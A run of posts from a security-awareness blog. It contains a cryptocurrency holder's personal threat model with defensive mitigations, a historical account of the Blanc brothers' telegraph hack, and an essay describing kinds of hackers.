Thus, the purpose of cryptoanarchy is not, as it might seem, primarily to break the rules. The purpose is to maintain a degree of freedom that is important to us and to protect ourselves and our loved ones from the dangers that can arise if someone who wants to (and can) use it against us accesses our information. History has shown us that this danger is not unrealistic.

The post Cryptoanarchy – To be safe to be free appeared first on DIGITAL SELF-DEFENSE.

1. Introduction

This document serves as a personal threat model focused on cybersecurity in the area of cryptocurrencies. Its aim is to identify potential threats and vulnerabilities and propose measures to minimize them.

2. Identification of Actors and Assets

Actors

• Hackers
• Regulatory Bodies
• Competitors
• Close Associates

Assets

• Crypto Wallet
• Transaction History
• Investment Strategy

Actors and Assets: Detailed View

In this part of the threat model, it is crucial to identify in detail the actors who could pose a threat and the assets they might want to compromise. Each actor and asset should be elaborated on, including motivations, capabilities, and methods of attack.

Hackers

• Motivation: Financial gain, reputational reasons, ideological beliefs
• Capabilities: Malware, ransomware, phishing attacks
• Attack Methods: Wallet infiltration, keylogging, SIM swapping

Regulatory Bodies

• Motivation: Oversight and regulation, ensuring compliance with laws
• Capabilities: Legal measures, access to public and private databases
• Attack Methods: Court orders, asset seizure, audits

Competitors

• Motivation: Gaining competitive advantage, financial gain
• Capabilities: Industrial espionage, social engineering
• Attack Methods: Infiltration, misinformation, market manipulation

Close Associates

• Motivation: Personal interests, possible financial gain
• Capabilities: Access to personal devices, knowledge of personal information
• Attack Methods: Using known passwords, accessing unsecured devices

Assets

Crypto Wallet

• Importance: High
• Attack Types: Phishing, malware, physical access
• Mitigations: Hardware wallet, 2FA, strong passwords

Transaction History

• Importance: Medium
• Attack Types: IP tracking, exchange compromise
• Mitigations: Use of VPN, decentralized exchanges

Investment Strategy

• Importance: Medium to High
• Attack Types: Social engineering, industrial espionage
• Mitigations: Limiting information sharing, using encrypted communication

3. Vulnerabilities

Using Online Wallets with Low Security

• Description: Online wallets are often targeted by attacks, especially if not properly secured.
• Actors: Hackers, competitors
• Attack Types: Phishing, brute-force attacks
• Mitigations: Switching to a hardware wallet, using 2FA

Unsecured Wi-Fi Network

• Description: Using unsecured Wi-Fi networks can allow attackers easy access to your data.
• Actors: Hackers, close associates
• Attack Types: Man-in-the-middle attacks, sniffing
• Mitigations: Use of VPN, connecting only to trusted networks

Using Outdated Software

• Description: Old or outdated software may contain vulnerabilities that can be exploited for infiltration.
• Actors: Hackers, regulatory bodies
• Attack Types: Exploitation of known vulnerabilities
• Mitigations: Regular software updates, application of security patches

Insufficient Two-Factor Authentication (2FA)

• Description: Absence or poor implementation of 2FA can lead to easy access to sensitive data.
• Actors: Hackers, close associates
• Attack Types: Brute-force attacks, SIM swapping
• Mitigations: Activation and proper configuration of 2FA

Insufficient OPSEC (Operational Security)

• Description: Insufficient OPSEC may include poor handling of passwords, keys, and other sensitive data.
• Actors: All
• Attack Types: Social engineering, phishing
• Mitigations: Cybersecurity education, use of a password manager

4. Attack Vectors

Phishing Attacks

• Description: Attacks that aim to obtain sensitive information through fraudulent emails or websites.
• Actors: Hackers, competitors
• Vulnerabilities: Insufficient OPSEC, using online wallets with low security
• Mitigations: Cybersecurity education, use of 2FA

Man-in-the-Middle Attacks

• Description: Attacks where the attacker eavesdrops on or manipulates communication between two parties.
• Actors: Hackers, regulatory bodies
• Vulnerabilities: Unsecured Wi-Fi network, outdated software
• Mitigations: Use of VPN, encryption of communication

Social Engineering

• Description: Manipulating people to obtain sensitive information or system access.
• Actors: Competitors, close associates
• Vulnerabilities: Insufficient OPSEC, insufficient 2FA
• Mitigations: Cybersecurity education, limiting information sharing

SIM Swapping

• Description: An attack in which the attacker gains control of the target’s SIM card.
• Actors: Hackers
• Vulnerabilities: Insufficient 2FA, insufficient OPSEC
• Mitigations: Use of hardware-based 2FA, high level of OPSEC

5. Measures

Using a Hardware Wallet

• Description: Hardware wallets provide a high level of security for storing cryptocurrencies.
• Actors: Hackers
• Suitable for: Protecting the crypto wallet
• How to Implement: Purchase a reputable hardware wallet such as Ledger or Trezor and transfer your cryptocurrencies to it.

Using a VPN

• Description: A VPN provides anonymity and security when browsing the internet.
• Actors: Regulatory bodies, hackers
• Suitable for: Protecting transaction history, securing Wi-Fi
• How to Implement: Choose a trusted VPN provider and enable it when connecting to the internet.

Activation and Proper Configuration of 2FA

• Description: Two-factor authentication adds an additional layer of security.
• Actors: Hackers, close associates
• Suitable for: Protecting the crypto wallet, securing online accounts
• How to Implement: Enable 2FA on all important accounts and use an app like Google Authenticator or a hardware key like YubiKey.

Cybersecurity Education

• Description: Education and awareness are key to recognizing and preventing attacks.
• Actors: All
• Suitable for: Protection against all types of attacks
• How to Implement: Take cybersecurity courses, read current news and articles, and participate in webinars and conferences.

6. Conclusion

This personal threat model is the first step toward ensuring my cybersecurity in the field of cryptocurrencies. I plan to regularly update this document and implement new security measures according to the evolving threat landscape.
“`

The post Personal Threat Model appeared first on DIGITAL SELF-DEFENSE.

Chappe’s Telegraph

In 1794, French inventor Claude Chappe came up with a system of visual semaphore telegraphs. By adjusting flexible arms placed on a tower (mast), it was possible to display letters, numbers and some special characters, such as the beginning and end of a communication or the deletion of the last character in case of a typo. In this case, rather “misbending”.

The individual towers were spaced apart so that one could be seen from one to the next. Thus, the message could spread from one tower to the next until it reached its destination. It is reported that the speed of the message was up to 500 km per hour.

In France, a network of Chappe visual telegraphs was built during the 19th century to serve the needs of the state (and especially the army). For example, there were 58 stations on the route between Paris and Brest. But ordinary citizens could not use the services of this communication network.

The communications even used end-to-end encryption. Since military secrets were being transmitted via the telegraph network, it was not very appropriate for anyone with a view of the telegraph tower to be able to read the communications. Thus, the sender and receiver had an agreed key with which to encrypt their messages. The tower operators along the way just repeated the encrypted message character by character without being able to decipher what the contents of the message were. The sender and recipient of the message thus had more privacy in 1800 than Facebook Messenger users in 2021 (more on messenger encryption here).

François and Louis Blanc

The Blanc brothers traded government bonds on the Bordeaux stock exchange. In such trading, speed of information is crucial – whoever has faster news from a central point of action (in this case Paris) has an advantage over other traders because they can better anticipate stock market movements.

Traditionally, news from Paris to Bordeaux was sent by stagecoach, which took five days. Some merchants tried to shorten this time by using carrier pigeons or hiring messengers. This was faster, but not significantly so. It was certainly not enough for the Blanc brothers. They knew there was a much faster way to communicate over long distances. But it was reserved for the army, and merchants could not use it. So most merchants continued to think about improving the aerodynamics of the pigeon. But the Blanc brothers were hackers (though they didn’t claim to be on Twitter, according to available sources). So they didn’t give up on the idea of using Chappe’s telegraph network.

The Plan

The telegraph operators were probably not the best-paid employees in France. So the solution might be good old-fashioned corruption.
But if the Blanc brothers wanted to send messages in the standard way, they would have to bribe all the operators on their way from Paris to Bordeaux. Which could get expensive.
So they had to figure out how to solve this expensive inconvenience.
As mentioned above, the system included a symbol to erase the last character – the operator writes down the characters as he sees them on the semaphore and if he sees the erase symbol, he simply erases the last character and moves on.
This is what the hackers decided to take advantage of. They will send secret messages by following “their” character embedded in a regular army message with an erase character. Anyone who sees the semaphore can see this character, but the terminal tower operator will erase it from the paper (or not write it at all). Thus the message will be passed on while leaving no written evidence of it.

Socks as a data carrier

There was one more problem to solve. On the way from Paris to Bordeaux, there was still a tower in Tours (about 200 km from Paris) where messages were decoded and forwarded on without error. So the messages had to be sent from here. And they must have gotten to Tours somehow unobtrusively.
Fortunately, there was no need to send some extensive novels (that wouldn’t even be possible in this scenario), just a few arranged signals. And so parcels were sent to Tours from Paris containing clothes. The type of clothing (gloves, socks, ties) that was marked in the accompanying letter indicated whether a title was falling or rising in the stock market, and the color in turn the amount of change.

Hack

The hacking may have begun. An accomplice in Paris, according to the changes in the stock market, put the clothes in a package and sent it to Tours. There, the bribed telegraph operator (he received a one-off 1500 francs for his involvement in the conspiracy, then 150 francs every month, plus a bonus of 20 francs for each message transmitted) sent a message with “errors” inserted.
At the tower near Bordeaux, another accomplice waited with a telescope, watching the telegraph and writing down the characters that were marked as erroneous. And thus the messages reached our merchants, who were several days ahead of the others.

Disclosure

The system worked perfectly for two years. A total of 121 messages (and packages of clothes) were sent this way. Surprisingly, the sudden wealth of the telegraph operators (the normal daily wage of an operator was 1.50 francs) did not arouse suspicion.
The truth only came out when one of the operators fell ill and confided the whole matter to a friend before his death.
Surprisingly, the Blanc brothers suffered no consequences. French legislation simply did not prohibit the insertion of one’s own messages into the telegraph system. It didn’t occur to the legislators of the time.
And so they were later to become successful casino operators (including the Monte Carlo casino in Monaco).

As can be seen from the first documented hacking attack, the weakest link in security tends to be human.

Resources:

https://fr.wikipedia.org/wiki/T%C3%A9l%C3%A9graphe_Chappe
https://en.wikipedia.org/wiki/Fran%C3%A7ois_Blanc
https://www.schneier.com/blog/archives/2018/05/1834_the_first_.html
https://gallica.bnf.fr/ark:/12148/bpt6k4393846/f1.item

The post On the Origin of Hackers appeared first on DIGITAL SELF-DEFENSE.

So who are the dreaded hackers, can I identify them and what do they have in common?

Hackers come from different backgrounds, different parts of the world and different social classes. You can’t generally say that the typical hacker is a twenty-five-year-old white guy, addicted to caffeine from energy drinks, who doesn’t get along with his peers and spends all his free time in a dark basement surrounded by computers.
What most hackers have in common, however, is the ability to use things in ways other than how they were intended and to circumvent obstacles. Whether it’s physical, technological or psychological.
In the beginning, it’s curiosity. How the world around us works, how different tools work and how the human mind works. And if the object of interest has any weaknesses in its design that can be exploited or abused (this is often a rather subjective assessment).

Opening the lock

When you want to open a classic lock, it’s a good idea to know how its mechanism works first. Then you can use the tools and techniques to open it without a key. Or you can simply use explosives. While this can be fancy, it has a few minor drawbacks. Someone may notice and have strange questions like if the door is yours, why you don’t unlock it normally, and where you got the untaxed explosive. Sometimes it can also be handy so that the owner of the lock doesn’t even find out in the future that it was unlocked (it’s pretty hard to lock after using explosives). Well, and it can also happen that the explosion will destroy what is behind the lock and what you are doing it for in the first place. Not to mention that if handled carelessly, it can radically reduce the number of your favorite limbs.
That’s why it’s quite handy to know that there’s a mechanism in the lock that can be opened fairly quickly, quietly, and without further consequence. Therefore, hackers are usually very familiar with the systems they are attacking. As we will show later, this does not mean that the hacker has to be a computer genius. There is room for hackers in almost every field.
After all, hacking isn’t just getting into places we shouldn’t. It can also be the ability to use things differently. For example, the recently popular biohacking is not about sneaking into (preferably) your own body and taking something there. Rather, we’re trying to improve the processes that happen there.
I’ll stick to describing hacking in the most familiar IT sector, but basically anything can be applied elsewhere in some way.

Hackers, fashion and the state

Because the world needs pigeonholes, hackers have also started to divide themselves into groups: black hat, white hat and grey hat. This designation was taken from Hollywood Westerns of the 1920s, where there was an unwritten convention that heroes wore white hats and villains wore black hats. At least that’s what Wikipedia says.

Black hat hackers are the equivalent of the negative heroes of the wild west. They use their knowledge to enrich themselves or harm their victims. A black hat hacker will break into your bank account and take your money, install a webcam tracking program on your computer or crash your company’s website.

A special subset of black hat hackers are state-organized hackers. These are usually employees or contractors of the secret services or military who are tasked with cyber attacks on targets outside the territory of the state. Compared to independent hackers, they have a big advantage in that they have access to the best technology or other resources and can thus afford attacks that are unavailable to others. But this topic deserves its own article. So more about that some other time.

A white hat hacker will also hack into your company’s website. But there is one significant difference. He will only do it with your permission. That’s why they’re also called ethical hackers. Why would you give your consent? Precisely because you want to know if your business is secure against such an attack. If a white hat hacker succeeds in such a penetration, he will do you no harm. On the contrary, you’ll get a precise description from him of what needs to be fixed so that no one else can get in. And you pay him for it. That’s called penetration testing. White hat hackers often set up companies to help their customers improve the security of their systems.

Grey Hat hacker – often claimed to be something in between. But rarely do you learn what it means to be something in between. Can someone be just a little bit of a thief? It’s more likely that the line between white hat and black hat is blurry. A hacker may pose as a white hat, but there is a suspicion that he is also using his knowledge and skill unethically. Alternatively, he attacks companies, organisations or even states without their consent or knowledge, but he is motivated (sometimes subjectively) by good reasons. He may be an environmental activist, a human rights campaigner or even a religious fanatic.

Legal versus ethical

At the same time, we need to distinguish between legality and ethics. Laws are different in different parts of the world. Here in Europe, for example, there are different rules almost every 500km. What is legal in Prague may be criminal in Vienna. And because the Internet has no borders, it makes it even more complicated for judging. In countries like North Korea, for example, any use of a computer is illegal in most cases. Therefore, it is not possible to judge hackers according to local national law. Especially at a time when nation states are starting to lose their meaning.

Blind shooters and non-state armies

There is another group. They are not hackers in the true sense of the word. More like wannabe hackers. They’re known as “Script kiddies”. Today, there are a large number of hacking tools on the Internet that are freely downloadable. And it can be tempting to look like a hacker in front of your buddy. It’s not difficult to download a program, press the imaginary “Hack it!” button. But the attacker usually gets nothing. Because even with these tools, you need to work with purpose and precision. On the other hand, even if he doesn’t gain anything, he can still do some damage (corrupt the database, delete important files, overwhelm the network, etc.). Therefore, it is important to protect systems even against such amateur attacks.

In the cyber world we can also find non-state organised hacking groups. They are actually small armies of hackers who have a common goal and try to achieve it by joining forces. However, this does not necessarily mean that these groups meet in secret places and carry out their attacks (ethical or unethical) from there. The individual members often do not know each other personally. They may be scattered all over the world, operating under aliases, and all they need to know about each other is their abilities. This ensures, among other things, their physical safety. If a member of the group is discovered, they can’t reveal anything important about their colleagues.

I want to become a hacker

A common question is how one can become a hacker. The answer is not simple and certainly not universal. Hacking is about learning and deepening your knowledge every day. Basically, anyone who is an expert in their field and has the desire to keep improving and delving into every detail can become a hacker. There isn’t even a clear line where we can say that we (or anyone else) is a hacker. While there are various courses and certifications, even that is not a prerequisite. A certificate doesn’t necessarily make you a hacker if you don’t keep doing it, and on the other hand, the lack of one (it costs time and money) doesn’t mean you’re not a hacker.

Well then, how do I open the lock?

It’s not hard and after practicing it can go fairly quickly. But this is just a basic technique, it’s more or less a sport (yes, there are competitions). Professional thieves hardly use it.

See the video for instructions, and I’ll tell you how to defend your digital locks

The post Hackers – who are we defending ourselves against? appeared first on DIGITAL SELF-DEFENSE.